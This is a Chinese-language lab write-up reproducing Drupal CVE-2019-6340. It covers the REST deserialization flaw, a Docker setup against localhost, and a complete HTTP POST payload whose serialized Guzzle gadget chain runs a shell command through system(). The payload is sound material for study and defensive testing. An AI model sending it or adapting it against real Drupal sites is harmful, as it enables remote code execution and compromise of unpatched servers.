本次作为记录,使用环境为大佬搭建的
0x01 漏洞描述
Drupal 是使用 PHP 语言编写的开源内容管理框架,Drupal 综合了强大并可自由配置的功能,能支持各种不同应用的网站项目。其 Drupal 社区是全球大的开源社区之一, 在社区的维护下,Drupal 的代码在安全性、健壮性上具有世界较高水平。
2019/02/20,Drupal 安全团队披露了一个安全漏洞(CVE-2019-6340 /SA-CORE-2019-003)[2],如果网站开启了 RESTful Web Services(默认不开启)并允许
POST/PATCH 请求,在进行 REST API 操作的过程中,会将未经安全过滤的参数内容带入unserialize 函数而触发反序列化漏洞,进而导致任意代码执行。
2019/02/22,Seebug 平台收录了这个漏洞[3],知道创宇 404 实验室漏洞情报团队开始漏洞应急,复现了这个漏洞。
影响版本
Drupal < 8.6.10
Drupal < 8.5.12
0x02 环境搭建
来源:https://cloud.tencent.com/developer/article/1511942 本环境也可以通过公开Docker搭建,搭建步骤如下:
使用search命令查找
docker search CVE-2019-6340
然后拉取第一个镜像,使用pull命令
docker pull knqyf263/cve-2019-6340
拉取完成如下
然后启动镜像,运行环境
docker run -d -p 80:80 --name Drupal8 knqyf263/cve-2019-6340
搭建成功,主页如下:
0x03 漏洞复现
漏洞地址
http://localhost/node/?_format=hal_json
我们打开burpsuite进行抓包,并利用重发器发包 本次漏洞公开payoad为:
POST /node/?_format=hal_json HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Connection: keep-alive Content-Type: application/hal+json Accept: */* Cache-Control: no-cache Content-Length: 636
{
"link": [
{
"value": "link",
"options": "O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"\u0000GuzzleHttp\Psr7\FnStream\u0000methods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"\u0000GuzzleHttp\HandlerStack\u0000handler";s:2:"id";s:30:"\u0000GuzzleHttp\HandlerStack\u0000stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000GuzzleHttp\HandlerStack\u0000cached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}"
}
],
"_links": {
"type": {
"href": "http://localhost/rest/type/shortcut/default"
}
}
}
用burpsuite重发器发包,返回结果如下
payload中"options"内的值为php反序列化后的结果,并且执行了"id"命令并返回了结果,故可以通过此payload构造执行远端任意代码。